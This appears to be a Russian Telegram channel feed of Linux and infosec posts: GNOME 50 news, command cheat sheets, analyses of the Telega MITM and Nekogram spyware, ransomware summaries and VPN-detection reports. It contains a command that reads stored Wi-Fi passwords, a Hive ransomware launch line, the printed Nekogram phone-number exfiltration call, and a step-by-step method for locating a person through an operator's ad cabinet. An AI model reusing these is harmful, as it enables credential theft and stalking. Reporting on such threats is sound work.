LinuxSkill - Сводки с прода и Шпаргалки
11K subscribers
65 photos
102 videos
2 files
527 links
Следим за новостями Linux, DevOps и ИБ, чтобы быть готовым к любым факапам.
Бонусом — плотные шпаргалки и чеклисты для ежедневной работы в терминале.

📩 По всем вопросам: @chorapov

Зеркало в MAX: https://max.ru/LinuxSkill

РКН https://vk.cc/cMUwm4
Download Telegram
🪦 X11 вырезали под корень. Разбираем архитектуру и новые реалии GNOME 50

Думали, что всегда сможете переключить сессию на старый добрый Xorg, если новомодный Wayland снова залагает? Больше нет. Состоялся релиз GNOME 50 «Tokyo», и разработчики окончательно вырвали X11 с корнем. Выполняю работу над ошибками: разбираем архитектурные изменения строго без домыслов — только сухие факты из чейнджлогов.

Что именно вырезали:
Из композитного сервера Mutter и GNOME Shell полностью удален код поддержки протокола X11. Дисплейный менеджер GDM теперь запускает собственные сессии исключительно через Wayland, хотя запуск сторонних X11-оболочек через него пока сохранен. Старые X11-приложения продолжат работать благодаря интегрированной прослойке XWayland.

-Dx11

Эта опция сборки, как и возможность настройки параметров X11, навсегда удалена из компонента gnome-settings-daemon. Вернуть поддержку иксов в GNOME простой пересборкой пакета больше нельзя.

Архитектурный сдвиг к systemd:
Разработчики отказались от старых костылей в пользу жесткой интеграции с системным менеджером systemd. В GDM теперь задействована инфраструктура systemd-userdb для выделения учетных записей, а собственный встроенный менеджер сервисов GNOME отправлен на пенсию.

run0

Это новая утилита из состава systemd 256, которая теперь используется по умолчанию вместо pkexec для выполнения привилегированных действий в мастере начальной настройки (gnome-initial-setup).

Новый RDP и headless-режим:
Удаленный доступ получил аппаратное ускорение вывода видео через современные API Vulkan и VA-API. Добавлена аутентификация через Kerberos и даже возможность проброса локальной web-камеры в сеанс с удаленной системой.

gnome-headless-session@.service

Новый systemd-сервис, специально добавленный в GDM для удобного запуска сеансов без подключенного физического экрана. Это долгожданное решение для комфортных RDP-подключений к headless-серверам.

Фикс NVIDIA и управление цветом:
Внедрен протокол Explicit Sync, который позволяет синхронизировать буферы напрямую и избавляет от графических артефактов и задержек на проприетарных драйверах NVIDIA. Variable Refresh Rate (VRR) и дробное (нецелое) масштабирование переведены из разряда экспериментальных функций и включены по умолчанию.

color-management-v2

Новый поддерживаемый протокол Wayland, предоставляющий полноценные средства для управления цветом. В дополнение к этому появилась поддержка передачи HDR-метаданных при screen sharing (совместном доступе к экрану), чтобы транслируемые цвета не теряли насыщенность.



❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #News@LinuxSkill

#GNOME #Wayland #Linux #DevOps #Security #Systemd
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7
🚀 19 готовых команд для JSON в терминале

Устал парсить ответы от API нечитаемой простынёй текста или писать костыли? Сейчас покажу шпаргалку по базовым операциям с JSON прямо в консоли Linux.

1. Pretty print (Красивый вывод)
Команды для форматирования JSON в удобный структурированный вид.

# Использование утилиты fx
$ echo '{"name": "Linux"}' | fx .

# Использование утилиты dasel
$ echo '{"name": "Linux"}' | dasel -r json

# Использование популярной утилиты jq
$ echo '{"name": "Linux"}' | jq "."

# Использование утилиты jshon
$ echo '{"name": "Linux"}' | jshon

# Использование утилиты jql
$ echo '{"name": "Linux"}' | jql '.'

# Использование утилиты emuto
$ echo '{"name": "Linux"}' | emuto


2. Select (Выборка данных)
Как вытащить конкретное значение по ключу из JSON-строки,.

# Выборка через dasel
$ echo '{"name": "Linux"}' | dasel -r json '.name'

# Выборка через fx
$ echo '{"name": "Linux"}' | fx .name

# Выборка через jq
$ echo '{"name": "Linux"}' | jq ".name"

# Выборка через jshon
$ echo '{"name": "Linux"}' | jshon -e name

# Выборка через jql
$ echo '{"name": "Linux"}' | jql '.name'

# Выборка через emuto
$ echo '{"name": "Linux"}' | emuto "$.name"


3. Put (Добавление и изменение)
Команды для добавления новых ключей или изменения существующих значений.

# Добавление строки через dasel
$ echo '{"name": "Linux"}' | dasel put string -r json '.year' '1991'

# Вставка значения через jshon
$ echo '{"name": "Linux"}' | jshon -s 1991 -i year

# Формирование нового объекта через emuto
$ echo '{"name": "Linux"}' | emuto "{'name': $.name,'year':1991}"


4. Delete (Удаление)
Быстрое удаление ненужных полей из переданного JSON.

# Удаление ключа через dasel
$ echo '{"name": "Linux", "year": 1991}' | dasel delete -r json '.year'

# Удаление ключа через jshon
$ echo '{"name": "Linux", "year": 1991}' | jshon -d year

# Удаление ключа путем пересоздания объекта в emuto
$ echo '{"name": "Linux", "year": 1991}' | emuto "{'name': $.name}"

5. Create (Создание)
Генерация нового JSON-объекта из переданных параметров.

# Создание JSON с помощью jo
$ jo -p name=Linux year=1991

Теперь ты знаешь, как быстро форматировать, изменять и парсить JSON без написания скриптов.


❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #шпаргалка@LinuxSkill

#Linux #JSON #CLI #DevOps #Bash
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10
🛡 От телетайпа до plocate. Два лонгрида, которые закроют все дыры в базе Linux

Задумывался, как ядро на самом деле обрабатывает твои нажатия в консоли, и почему опытные админы ставят plocate вместо обычного locate? Я собрал для тебя выжимку из двух отличных статей с Хабра. Одна для глубокого погружения во внутренности подсистемы ввода-вывода, а вторая, чтобы намертво закрепить фундаментальную базу.

1. Чёрное окошко Linux: погружение в подсистему TTY > https://habr.com/ru/companies/ruvds/articles/983240/
Отличный исторический и технический разбор того, что скрывается за привычным эмулятором терминала. Автор объясняет, что TTY - это драйвер символьного устройства, а не просто окошко интерфейса. Оказывается, за кулисами работает алгоритм Line Discipline. Именно он буферизирует ввод и превращает управляющие коды (например, нажатие Ctrl+C) в сигналы SIGINT для процессов. В комментариях к статье также отлично дополнили тему аварийного управления ядром через консоль:

# Разрешить использование Magic SysRq Keys для прямого управления ядром
echo "1" > /proc/sys/kernel/sysrq


Этот параметр позволяет посылать низкоуровневые команды (например, принудительную перезагрузку или убийство ресурсоемких процессов через OOM kill) напрямую в ядро при жестком зависании системы.

2. Учим Linux: Файлы, навигация и поиск > https://habr.com/ru/articles/1003550/
Мощный структурированный справочник по файловой системе и базовым утилитам. Подробно разбирается назначение виртуальных ФС /proc и /sys, отличия жёстких ссылок от символических, а также нюансы работы с логами. Отдельное внимание уделено правильным флагам утилит для написания надежных скриптов:

# Слежение за файлом лога в реальном времени с учётом его пересоздания (ротации)
tail -F file.txt


В отличие от обычного флага -f, заглавная F не даст команде отвалиться, когда системный демон пересоздаст свой лог-файл. Также автор рекомендует использовать пакет plocate для поиска файлов в современных дистрибутивах (например, Ubuntu 22.04) - он работает значительно быстрее устаревшего mlocate за счёт более эффективного индекса.

Пробегись по материалам и скинь коллегам, если они всё ещё путают консоль с терминалом.


❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #SkillHunter@LinuxSkill

#Linux #DevOps #Security #VPN #Networking #DPI
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10
Channel name was changed to «LinuxSkill»
Channel name was changed to «LinuxSkill - Сводки с прода и Шпаргалки»
💀 MITM-атака в кармане: почему «Телегу» нужно снести прямо сейчас

Многие массово качают клиент «Telega» для обхода блокировок, не подозревая, что добровольно отдают свои сессии под перехват. Сейчас на уровне кода разберём, как устроена их MITM-атака и как защитить свою инфраструктуру.

Telega (АО «Телега», ранее «Даль») — это альтернативный клиент, разработчики которого 18 марта 2026 года активировали принудительный перехват трафика. Клиент обращается к серверу за списком подменённых дата-центров.

curl -s https://api.telega.info/v1/dc-proxy
# Возвращает подменённые IP адреса дата-центров в формате JSON (например, 130.49.152.X)

Трафик перенаправляется на собственные серверы проекта, а проверка владельца подсети выдает прямую связь с экосистемой VK.

whois 130.49.152.0 | grep AS
# Вывод покажет AS203502 JOINT STOCK COMPANY TELEGA
# Единственный апстрим: AS47764 LLC VK

Но подмена IP — это только половина атаки. Чтобы читать зашифрованный трафик, разработчики вшили дополнительный RSA-ключ в динамическую библиотеку клиента.

strings libtmessages.49.so | grep -A 1 "BEGIN RSA PUBLIC KEY"
# Найдено 4 ключа. Ключ по адресу 0x15788E1 является подставным и отсутствует в официальном клиенте

Именно этот четвёртый ключ позволяет их серверам успешно завершать криптографическое рукопожатие, выступая "человеком посередине". Более того, клиент получает с сервера конфигурацию (Remote Config), которая принудительно ослабляет криптозащиту.

// Принудительное отключение Perfect Forward Secrecy и секретных чатов
DcConfig.options.use_pfs = false;
FeatureManager.currentInstance().isSCEnabled() = false;

Секретные чаты (End-to-End) тихо игнорируются, а выключенный PFS позволяет злоумышленникам расшифровать весь записанный трафик в будущем, если ключи будут скомпрометированы. Просто удалить приложение с телефона недостаточно, так как активная сессия уже находится на их серверах.

1. Принудительно отозвать сессии:
В официальном клиенте Telegram -> Настройки -> Устройства -> Завершить все другие сеансы

2. Заблокировать подсети злоумышленников на корпоративном фаерволе:
iptables -A OUTPUT -d 130.49.152.0/24 -j DROP
iptables -A OUTPUT -d 130.49.224.0/19 -j DROP

Если ты или твои коллеги обсуждали важные данные с пользователями Telega, считай эту информацию известной третьим лицам.

Источники:
Telega: как «удобный клиент Telegram» превратили в MITM с цензурой и ИИ-надзирателем
В интернете появился полный теханализ MITM-атаки в клиенте Telega от неизвестного источника
Остальные статьи по теме: habr.com habr.com habr.com habr.com habr.com habr.com habr.com habr.com habr.com habr.com habr.com


❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #News@LinuxSkill
⭐️ Зеркало в MAX

#telega #mitm #infosec #telegram
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥1
🌐 Полный контроль над сетью! Подборка из 42 сетевых команд которая должна быть у каждого

Упала сеть на сервере или нужно срочно проверить открытые порты, а нужные ключи вылетели из головы? Сейчас покажу ультимативную шпаргалку по сети в Linux. Только рабочие конструкции для траблшутинга и базовой настройки.

1. Внешний IP, пароли и сетевые интерфейсы
Быстрый сбор базовой информации о текущем подключении и железе.

# Получить внешний IP-адрес
$ curl ifconfig.me
$ dig +short myip.opendns.com @resolver1.opendns.com
$ netcat icanhazip.com 80 <<< $'GET / HTTP/1.1\nHost: icanhazip.com\n' | tail -n1

# Получить пароль от Wi-Fi
$ cat /etc/NetworkManager/system-connections/[SSID] | grep psk=

# Вывести список сетевых интерфейсов
$ lspci | egrep -i --color 'network|ethernet'
$ ifconfig -a
$ ip a
$ ip link show
$ lshw -class network
$ cat /proc/net/dev
$ nmcli device status


2. Загрузка файлов и информация о домене
Утилиты для скачивания файлов прямо из консоли и проверки whois.

# Скачать файл по ссылке
$ wget [url]
$ curl -O [url]
$ aria2c [url]
$ axel [url]

# Получить информацию о домене
$ whois [ip]


3. Диагностика узлов и маршрутов
Команды для проверки доступности соседних устройств и пути прохождения пакетов.

# Пропинговать другое устройство
$ ping [ip]
$ mtr [ip]

# Отследить путь пакета до цели
$ traceroute [ip]
$ tracepath [ip]

# Установить Telnet подключение
$ telnet [ip] [port]

4. DNS, Hostname и настройки интерфейса
Управление именем машины, проверка резолва DNS и сброс IP-адреса.

# Настроить сетевой интерфейс
$ ifconfig

# Показать hostname вашего сервера
$ hostname
$ hostnamectl

# DNS-запрос и отображение ответа сервера
$ dig [ip]
$ nslookup [ip]
$ host [ip]

# Освободить IP и получить новый от DHCP
$ dhclient -r


5. Порты, сокеты и маршрутизация
Главный арсенал для поиска открытых портов и проверки таблицы маршрутизации.

# Вывести список открытых сокетов
$ netstat -l
$ lsof -i
$ ss -l

# Показать таблицу маршрутизации
$ ip route
$ route

# Показать открытые порты
$ ss -tuln
$ netstat -tuln

# Проверить доступность порта на хосте
$ nc -zv [host] [port]


6. Использование пропускной способности (Bandwidth)
Утилиты для мониторинга нагрузки на сеть в реальном времени.

# Показать использование канала
$ iftop
$ nethogs
$ vnstat
$ bmon
$ nload



❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #шпаргалка@LinuxSkill
⭐️ Зеркало в MAX

#Linux #Network #DevOps #Sysadmin #CLI
Please open Telegram to view this post
VIEW IN TELEGRAM
👍16
💸 Выкуп в $1 000 000: цена дырявого Apache и старого ядра

Думаешь, шифровальщики — это исключительно головная боль виндузятников? Сейчас покажу, как старое ядро Linux обошлось хостинг-компании в 1 миллион долларов и какими командами вымогатели показательно убивают ESXi-серверы.

Южнокорейский хостер Nayana поймал Linux-версию вымогателя Erebus.
Злоумышленники зашифровали 433 различных типа файлов.
uname -r
Вывод на взломанных серверах: 2.6.24.2 (ядро 2008 года!)

Версии веб-сервера тоже оказались из музея древностей:
httpd -v && php -v
Apache 1.3.36 и PHP 5.1.4 (выпущены в 2006 году)

Изначальный аппетит хакеров составлял внушительные 4,4 миллиона долларов, но в итоге компании удалось сторговаться на $1 млн. Проблема крылась в устаревшем ПО: ядро содержало критическую уязвимость Dirty Cow, которая подарила злоумышленникам рут-доступ к системе. Без приватного ключа хакеров спасти зашифрованные данные было невозможно.

Современные шифровальщики (например, BlackMatter для Linux) бьют прямо по VMware ESXi.
Вирус использует штатную утилиту esxcli для получения списка хранилищ:
esxcli storage filesystem list
Его интересуют файловые системы vmfs, vffs и nfs

BlackMatter для Linux работает очень технично: перед началом шифрования он принудительно останавливает виртуальные машины, убивает указанные в конфиге процессы и полностью тушит файрвол. Само шифрование файлов происходит блоками с использованием потокового алгоритма HC-256, а ключи шифруются открытым ключом RSA-4096.

Вымогатель Hive для Linux/FreeBSD работает не менее жестко.
Он завершает непривилегированные (non-root) процессы и шифрует файлы прямо в корне (/).
Запуск шифровальщика с параметром:

./linux64 -no-wipe
# Флаг -no-wipe отключает заполнение свободного пространства случайными данными

Hive методично сканирует и шифрует файлы в корневом каталоге. Если при запуске не передать спасительный параметр -no-wipe (как в коде выше), вредонос забьет все свободное место на диске случайным мусором, чтобы ты физически не смог восстановить удаленные или перезаписанные файлы.



❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #SkillHunter@LinuxSkill
⭐️ Зеркало в MAX

#linux #ransomware #infosec #esxi
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7
🚨 Как сторонние Telegram-клиенты сливают данные и кто на самом деле обошел блокировки

Думаешь, официальный Telegram своими силами борется с блокировками, а сторонние open-source клиенты абсолютно прозрачны? Оказалось, мессенджер выезжает за счет комьюнити, а популярные форки содержат полноценный spyware. Собрал для тебя техническую хронологию грандиозного провала ИБ в экосистеме Telegram.

Хроника расследования на Хабре и OpenNet:

1. «Telegram обошёл блокировку РКН» — нет, не Telegram / Хабр > https://habr.com/ru/articles/1019200/

Официальная команда Telegram три месяца игнорировала блокировки ТСПУ. Встроенный FakeTLS (MTProxy) генерировал математически кривые пакеты:

Ошибка 1: Аномальный размер ключа
По спецификации X25519-ключ обязан занимать ровно 32 байта (256 бит). Код Telegram генерировал 20 байт. Для DPI это тривиальный маркер блокировки.

Ошибка 2: Использование драфтового мусора
Вместо стандартного идентификатора 0xFE0D для Encrypted Client Hello (ECH), Telegram слал несуществующий 0xFE02, которого нет ни в одном реальном браузере.

Комьюнити Telemt отреверсило фильтры и принесло готовый Pull Request (#30513).

Энтузиасты сами нашли сигнатуры и собрали патч. Мейнтейнер tdesktop смерджил минимальный набор исправлений, а Павел Дуров отчитался о «цифровом сопротивлении», ни разу не упомянув реальных авторов фикса. При этом фундаментальная проблема L7-анализа осталась нерешенной.

2. Неофициальный Telegram-клиент Nekogram отправлял номера телефонов боту разработчика > https://www.opennet.ru/opennews/art.shtml?num=65130

Исходный код Nekogram на GitHub был чистым, но в релизные APK-пакеты (в Google Play и Telegram-каналах) вшивался вредоносный обфусцированный код.

В классе Extra.java находился бэкдор, перебирающий до 8 аккаунтов пользователя. Он формировал JSON-карту связок UserID и номеров телефонов:
{"123456789": "+79001234567"}

Данные скрытно сливались через инлайн-запрос, не оставляя следов в истории чатов:
InlineBotHelper.Query("@nekonotificationbot", payload);

Те, кто ставил альтернативный клиент ради расширенных функций, отдавали свои номера разработчику, который мог продавать их создателям OSINT-ботов (в коде были упоминания @tgdb_search_bot и @usinfobot). Вдобавок, ZDI раскрыли RCE-уязвимость (ZDI-CAN-30207) в официальной телеге: выполнение кода было возможно через библиотеку rlottie при предпросмотре анимированных стикеров (уязвимость снизили с 9.8 до 7.0 после того, как ТГ заявил о серверных проверках).



❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #News@LinuxSkill

#telegram #infosec #nekogram #privacy
Please open Telegram to view this post
VIEW IN TELEGRAM
👍25🔥3👎1
🚀 Тратишь время на рутину? Эти 23 команды поиска решат 99% задач с файлами

Устал скроллить директории руками и не можешь найти нужный конфиг или строчку в логах? Сейчас покажу полную шпаргалку ровно на 23 команды для быстрого поиска файлов и текста в Linux. Никакой воды, только хардкор.

1. Поиск файлов по имени и фразам

# Найти файл по имени (Find a file by name)
$ find / -iname "[query]"
$ fd [query]
$ fzf

# Найти все пути, содержащие фразу (Find all path names containing a phrase)
$ locate [query]
$ plocate [query]


2. Поиск исполняемых файлов и истории

# Найти путь к исполняемому файлу (Find the path of an executable)
$ which [command]

# Найти расположение бинарников, исходников и man-страниц команды (Find location of binary/source/man files for a command)
$ whereis [command]

# Поиск паттерна в выводе команды (Search for pattern in output of command)
$ history | grep [phrase]


3. Поиск файлов по времени изменения и доступа

# Найти файлы, чье содержимое было изменено менее 60 минут назад (Find files whose content was modified less than 60 minutes ago)
$ find / -mmin -60

# Найти файлы, чей статус был изменен менее 60 минут назад (Find files whose status was changed less than 60 minutes ago)
$ find / -cmin -60

# Найти все файлы, к которым обращались 7 дней назад (Find all files accessed 7 days ago)
$ find / -atime 7



4. Поиск паттернов и текста внутри файлов

# Поиск паттерна в файле (Search for pattern in file)
$ grep [query] [file]
$ rg [query] [file]
$ ag [query] [file]

# Рекурсивный поиск в файлах (Search recursively in files)
$ grep -r [query] [path]
$ rg [query] [path]
$ ag [query] [path]


5. Поиск по размеру, расширению и пустых директорий

# Найти файлы размером от 10MB до 100MB (Find files between 10MB and 100MB)
$ find / -size +10M -size -100M

# Найти файлы по расширению (Find files by extension)
$ fd -e [extension]
$ find . -type f -name "*.[extension]"
$ locate "*.[extension]"

# Найти пустые файлы и директории (Find empty files and directories)
$ find / -type f -empty
$ find / -type d -empty



❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #шпаргалка@LinuxSkill
⭐️ Зеркало в MAX

#Linux #Search #CLI #Bash #Sysadmin #DevOps
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13🔥8
🚨 ТСПУ ловит VLESS, а ОпСоС сливает адрес. Двойной провал приватности мобильной связи.

Думаешь, замаскированный КВН надёжно скрывает твой трафик, а провайдер лишь молча гоняет пакеты? Оказалось, ТСПУ уже научился щелкать VLESS, а операторы связи буквально раздают твои перемещения и списки SMS любому желающему через рекламные кабинеты. Собрал для тебя хронику грандиозного провала ИБ на уровне провайдеров.

1. Как оператор связи видит, что вы используете КВН — техническая сторона вопроса > https://habr.com/ru/articles/1017158/

Как DPI (Deep Packet Inspection) ТСПУ классифицирует зашифрованные туннели:
1. Сигнатуры: opcode у OpenКВН или фиксированная структура handshake у WireGuard.
2. TLS fingerprinting: анализ наборов шифров (JA3/JA4-хеши).
3. Энтропия и тайминги: у КВН-туннеля пакеты примерно одного размера идут с ровными интервалами.

Оборудование Роскомнадзора за 83 миллиарда рублей, стоящее на узлах операторов, не читает содержимое, но видит сам факт КВН. И если раньше VLESS спасал за счет качественной маскировки под HTTPS, то с декабря 2025 года ТСПУ научился определять и его по косвенным признакам. Система не всесильна: в марте 2026 года узлы ушли в bypass (отказ от фильтрации) из-за перегрузки — оборудование не справилось с 40 тысячами правил фильтрации в день вместо привычных 10–15 тысяч.

2. Найдем любого — бесплатно, какой у него оператор связи? > https://habr.com/ru/articles/1017664/
Я тебя найду и позвоню > https://habr.com/ru/companies/timeweb/articles/861510/

ОпСоС — это сленговое сокращение, обозначающее «оператор сотовой связи» или «провайдер сотовой связи». В профессиональных дискуссиях так называют телеком-компании, предоставляющие услуги мобильного интернета и телефонии.

Что видит твой ОпСоС в мобильном трафике:
Домены посещаемых сайтов (так как SNI по умолчанию не шифруется в TLS).
Историю всех телефонных звонков и перемещений между геозонами.

Любой ОпСоС знает о тебе буквально всё: на какие домены ты ходишь по ночам, где ты спишь и где работаешь. Самое неприятное, что операторы легально монетизируют эту базу, продавая метаданные маркетинговым агентствам через интерфейс рекламных кабинетов.

Алгоритм легального пробива через рекламный кабинет оператора:
1. Зарегистрироваться по SMS в сервисе таргетированной рекламы ОпСоса.
2. Нарисовать зону на карте (дом или работа цели).
3. Сделать 1 дозвон жертве со своего номера.
4. В фильтре "звонили абоненту" указать 4 фейковых номера и свой.
Результат: аудитория сужается до 1 человека.

Операторы связи продают таргетинг, но на деле отдают инструмент для тотальной слежки. Любой человек с улицы может бесплатно узнать всё о конкретном абоненте. Найдя тебя через звонок или заманив на сайт с установленным рекламным счетчиком, злоумышленник может выгрузить твои интересы, посещаемые сайты, сферу бизнеса и даже имена отправителей SMS (включая сообщения с кодами 2FA).


❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #News@LinuxSkill

#TSPU #Privacy #Telecom
👍26👎5
🚨 Дырявый SOCKS5 и приложения-шпионы. Как РКН блокирует твой личный КВН

Думаешь, настройка VLESS надёжно защитила тебя от ТСПУ, а "рабочий профиль" спрятал КВН от банков? Оказалось, популярные клиенты содержат критические дыры, а государственные приложения легально сливают твой трафик через открытые порты. Собрал для тебя хронику грандиозного провала ИБ в сфере обхода блокировок и новые методы защиты.

AIКВН: КВН-протокол с мимикрией трафика и автоматической сменой профиля > https://habr.com/ru/articles/1019962/

Базовые крипто-примитивы AIКВН и маскировка:
Шифрование: X25519, ChaCha20-Poly1305, BLAKE3
Профили маскировки: QUIC, WebRTC/STUN, DNS over UDP

Стандартные протоколы палятся системами DPI по форме соединения. Автор разработал AIКВН, который маскирует трафик и использует "Нейронный резонанс" (Signal Reconstruction Resonance) на сервере для оценки деградации маски. Если ТСПУ начинает душить сессию, протокол автоматически переключается на резервную маску без разрыва туннеля, используя короткие криптотеги вместо заметного постоянного идентификатора сессии.


Из-за критической уязвимости VLESS клиентов скоро все ваши КВН будут заблокированы > https://habr.com/ru/articles/1020080/

Характерные Proxy-порты для сканирования из методички РКН:
SOCKS: 1080, 9000, 5555, 16000-16100

Уязвимые VLESS клиенты с открытым локальным SOCKS5:
Happ, v2RayTun, V2BOX, v2rayNG, Hiddify, Exclave, Npv Tunnel, Neko Box


Все мобильные клиенты на базе xray/sing-box запускают локальный SOCKS5-прокси без авторизации. Приложения-шпионы могут напрямую подключиться к портам на `localhost` в обход КВНService и узнать ваш внешний IP-адрес. Хуже всего ситуация с клиентом Happ: разработчики оставили открытым `HandlerService`, что позволяет злоумышленникам напрямую сдампить ваши конфиги, входной IP и SNI.


Отправим стукачей в ГУЛАГ > https://habr.com/ru/articles/1022390/

Изоляция приложений-стукачей в песочнице на Android:
1. Установить Insular (ранее Island) из каталога F-Droid
2. Клонировать приложение (Т-Банк, Яндекс-Навигатор) во вкладку Island
3. Выбрать Uninstall в Mainland для удаления из основной системы

Минцифры требует от разработчиков внедрять модули слежки за КВН, и многие приложения (например, банки и маркетплейсы) начали требовать отключить туннелирование. Комьюнити предлагает изолировать "стукачей" в рабочих профилях через приложения типа Insular. Песочница ограничивает доступ к контактам и фото. Однако важно помнить: от уязвимости с открытыми SOCKS5-портами этот метод не спасёт, так как loopback-интерфейс в рабочем профиле не изолируется.


❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #News@LinuxSkill
⭐️ Зеркало в MAX

#КВН #infosec #vless #xray #habr
Please open Telegram to view this post
VIEW IN TELEGRAM
👍16👎1
🛡️ Хакеры шифруют Linux? Закрой эти дыры прямо сейчас. Чек-лист по безопастности сервера.

Думаешь, шифровальщики — это только виндовая проблема? Держи практический чек-лист, который спасет твои Linux-серверы от участи быть зашифрованными ради выкупа.

uname -r && apt-get update && apt-get upgrade
# Регулярно обновляй ядро и прикладной софт.


Шифровальщик Erebus обошелся южнокорейскому хостеру в миллион долларов, потому что они сидели на ядре 2008 года с уязвимостью Dirty Cow, дающей рут-доступ. По статистике до 80-90% эксплойтов бьют по старым незакрытым дырам.

grep "bind" /etc/redis/redis.conf
# Не оставляй базы и сервисы торчать наружу без авторизации.


Небезопасная конфигурация Redis (например, доступная извне по умолчанию) позволяет злоумышленникам удаленно закинуть свой SSH-ключ на сервер и зайти с правами root,. Прячь внутренние сервисы за "КВН" и фильтруй доступы.


sudo apt install rkhunter chkrootkit lynis
sudo rkhunter --check
sudo lynis audit system
# Периодически аудируй систему локальными утилитами.


Инструменты вроде Rootkit Hunter (rkhunter), Check Rootkit (chkrootkit) и Lynis помогут выявить потенциальные проблемы безопасности и вредоносные программы, которые маскируют свое присутствие в системе. Также обязательно просматривай логи на предмет подозрительных модулей ядра.

Настрой Least Privilege и включи 2FA (MFA):
1. Учетные записи должны иметь минимальные привилегии.
2. Включи многофакторную аутентификацию на всех панелях управления и удаленном доступе.

Если у взломанного пользователя нет нужных прав, вирусу сложнее разгуляться. Тот же вымогатель Hive для Linux прицельно убивает непривилегированные (non-root) процессы перед тем, как шифровать корневой каталог. Меньше прав — меньше шансов потерять всё.

Золотое правило бэкапов 3-2-1-1 против ransomware:
• 3 копии данных
• 2 разных типа носителей
• 1 копия вне основной площадки (оффсайт)
• 1 копия в неизменяемом хранилище (WORM) или оффлайн.

Если хакер уже внутри, обычные бэкапы могут быть уничтожены. Копия в изолированном неизменяемом хранилище (WORM — write once, read many), до которого злоумышленник не сможет дотянуться, чтобы переписать файлы, — твой единственный надежный шанс на восстановление.


❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #шпаргалка@LinuxSkill
⭐️ Зеркало в MAX

#linux #ransomware #infosec #администрирование
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10🔥1
🚨 Телеметрия под контролем. Как выследить шпионов в Linux через eBPF

Твои любимые приложения втихую сливают данные на удаленные сервера? Сейчас покажу, как поймать их за руку с помощью легендарного интерактивного фаервола Little Snitch, который наконец-то портировали с macOS на Linux.

uname -r
ls -l /sys/kernel/btf/


Little Snitch для Linux работает не через расширения ядра, а через подсистему eBPF и механизм CO-RE (Compile Once – Run Everywhere). Для этого ему строго требуется ядро от версии 6.12 до 6.19.0, собранное с поддержкой BTF. Если директории btf в твоей системе нет, программа работать не будет.

# Запуск интерфейса после установки .deb, .rpm или .pkg.tar.zst пакета
littlesnitch
# Веб-интерфейс будет доступен локально:
# http://localhost:3031/


Управление переехало в браузер: теперь это веб-приложение на JavaScript, которое можно установить как PWA (Progressive Web App). Исходный код eBPF-программ и web-UI полностью открыт под лицензией GPLv2, однако сам фоновый демон, отвечающий за правила, остался проприетарным (но бесплатным).

# Копируем конфиг, чтобы не редактировать дефолтные файлы
cp /var/lib/littlesnitch/config/main.toml /var/lib/littlesnitch/overrides/config/
nano /var/lib/littlesnitch/overrides/config/main.toml

Вся сложная конфигурация делается через TOML-файлы. Никогда не правь дефолтные конфиги напрямую — всегда создавай их копии в директории overrides, так как приложение отдает приоритет именно им. Через файл web_ui.toml можно настроить авторизацию и TLS, если планируешь мониторить удаленный сервер.

Результаты замеров исходящих соединений за одну неделю:
Ubuntu: 9 системных процессов
macOS: > 100 системных процессов

Разработчики проверили телеметрию базовых ОС: Ubuntu оказалась намного тише "яблочной" системы. Но сторонний софт стучит везде одинаково. Например, Firefox "из коробки" сразу лезет на ads.mozilla.org, тогда как LibreOffice вообще не пытается устанавливать сетевые соединения.

Github: https://github.com/obdev/littlesnitch-linux


❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #News@LinuxSkill
⭐️ Зеркало в MAX

#littlesnitch #linux #ebpf #infosec
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6👎1
🚨 Шпионы в телефоне: как приложения сливают твой IP и как их заморозить

Государство планирует ввести жесткие лимиты на зарубежный трафик, а популярные приложения (от маркетплейсов до банков) активно сканируют твой телефон на наличие туннелей,. Сейчас разберём, как провайдеры видят твой КВН и какими инструментами на уровне системы можно заткнуть локальных шпионов.

Лимиты на «Иностранный трафик» и борьба с КВН-сервисами > https://habr.com/ru/articles/1024246/

Как DPI (Deep Packet Inspection) распознает КВН-туннели:
1. По стандартным портам: OpenКВН (UDP 1194), WireGuard (UDP 51820).
2. По сигнатурам пакетов: WireGuard передает характерный 148-байтный пакет, OpenКВН палится по opcode.
3. По статистике: браузер шлет мелкие запросы и получает большие ответы, а КВН - это ровный поток одинаковых пакетов.

Минцифры обсуждает с операторами введение лимита в 15 ГБ на международный трафик (свыше — 150 руб/ГБ). Крупные платформы (Ozon, Wildberries, Яндекс) обязали блокировать пользователей с включенным КВН под угрозой лишения IT-аккредитации. Операторы вычисляют туннели через DPI и TLS fingerprinting, но 100% точности нет, поэтому под финансовый удар легко попадут геймеры, удаленщики и корпоративные сервисы,,.

Критическая уязвимость VLESS клиентов? Подержите мое пиво… > https://habr.com/ru/articles/1022422/

Большинство клиентов (v2rayNG, V2BOX, Hiddify) светят открытым socks-портом.
TeapodStream использует бинарник xray-core и статически собранный linux-arm64 бинарник tun2socks,.

# Генерация случайного порта и пароля на лету скрывает прокси от других приложений:
socks5://user:password@127.0.0.1:45478 # порт и креды динамические при каждом старте


Обычное сплит-туннелирование на Android не спасает: приложения в исключениях всё равно видят tun-интерфейс, маршруты и открытый локальный SOCKS5, сливая твой выходной IP. Решение от энтузиаста — open-source клиент TeapodStream. При каждом запуске он динамически генерирует случайный порт и уникальные логин/пароль для локального прокси, не давая "шпионам" просканировать localhost и задетектить адрес сервера.

Anubis: заморозка приложений по состоянию КВН / Хабр > https://habr.com/ru/articles/1023352/

# Изоляция через рабочие профили (Island/Insular) оставляет общей сеть (tun0 и 127.0.0.1).
# Anubis через Shizuku (AIDL UserService, права shell UID 2000) жестко замораживает пакеты:
